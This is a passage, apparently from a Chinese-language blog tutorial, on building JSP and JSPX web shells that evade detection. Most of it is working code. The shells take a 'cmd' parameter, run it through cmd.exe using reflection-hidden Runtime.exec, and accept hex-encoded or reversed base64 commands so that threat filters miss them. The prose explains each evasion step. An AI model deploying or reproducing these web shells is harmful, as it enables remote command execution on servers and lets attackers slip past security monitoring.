- java.io.BufferedReader br = new java.io.BufferedReader(ins);
- String line;
- while((line = br.readLine()) != null) {
- out.println(line);
- }
- br.close();
- ins.close();
- input.close();
- p.getOutputStream().close();
- }
对于参数先将其存储进会话然后调用:
- request.setAttribute("a",request.getParameter("cmd"));
- String cmd = request.getAttribute("a").toString();
如果检测威胁命令可以对其进行编码,这里选择ASCII编码进行测试。
对应服务端代码该为:
- String decode = java.net.URLDecoder.decode(cmd.replaceAll("\\\\x", "%"), "utf-8");
- String[] cmds = new String[]{"cmd.exe","/c",decode};
此时既可以输入whoami,也可以输入十六进制编码后的%5c%78%37%37%5c%78%36%38%5c%78%36%66%5c%78%36%31%5c%78%36%64%5c%78%36%39

或者base64编码加反转等等都可以。
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
- <%@ page import="java.io.*"%>
- <%@ page import="java.util.Base64" %>
- <%@ page import="java.lang.reflect.Constructor" %>
- <%@ page import="java.lang.reflect.Method" %>
- <%!public static String reverseStr(String str){return new StringBuilder(str).reverse().toString();}%>
- <%
- out.print(System.getProperty("os.name").toLowerCase());
- String bs64 = request.getParameter("cmd");
- if(bs64 != null){
- String cmd = new String(Base64.getDecoder().decode(reverseStr(bs64)),"UTF-8");
- Class clazz = Class.forName("java.lang.Runtime");
- Constructor declaredConstructor = clazz.getDeclaredConstructor();
- declaredConstructor.setAccessible(true);
- Object o = declaredConstructor.newInstance();
- Method show = clazz.getDeclaredMethod("exec", String[].class);
- String[] cmds = new String[]{"cmd.exe","/c",cmd};
- Object invoke = show.invoke(o,(Object)cmds);
- Process p = (Process) invoke;
- InputStream input = p.getInputStream();
- InputStreamReader ins = new InputStreamReader(input, "GBK");
- BufferedReader br = new BufferedReader(ins);
- out.print("
"
); - String line;
- while((line = br.readLine()) != null) {
- out.println(line);
- }
- out.print("");
- br.close();
- ins.close();
- input.close();
- p.getOutputStream().close();
- }
- %>
对应客户端传入的命令也就是base64编码后反转的字符串。

在XML元素里,<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。
我们有时候需要在jspx里添加js代码用到大量的<和&字符,因此可以将脚本代码定义为CDATA,DATA部分内容会被解析器忽略。
- <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
- version="1.2">
- <jsp:directive.page contentType="text/html"/>
- <jsp:declaration>
- jsp:declaration>
- <jsp:scriptlet>
- u("123!");
- out.print(System.getProperty("os.name").toLowerCase());
- String cmd = q("cmd");
- if(cmd != null){
- Class clazz = Class.forName("java.lang.Runtime");
- java.lang.reflect.Constructor declaredConstructor = clazz.getDeclaredConstructor();
- declaredConstructor.setAccessible(true);
- Object o = declaredConstructor.newInstance();
- java.lang.reflect.Method show = z("exec", String[].class);
- String[] cmds = new String[]{"cmd.exe","/c",cmd};
- Object invoke = show.invoke(o,(Object)cmds);
- Process p = (Process) invoke;
- java.io.InputStream input = p.getInputStream();
- java.io.InputStreamReader ins = new java.io.InputStreamReader(input, "GBK");
- java.io.BufferedReader br = new java.io.BufferedReader(ins);
- String line;
- while((line = br.readLine()) != null) {
- out.println(line);
- }
- br.close();
- ins.close();
- input.close();
- p.getOutputStream().close();
- }
- jsp:scriptlet>
- <jsp:text>
- jsp:text>
- jsp:root>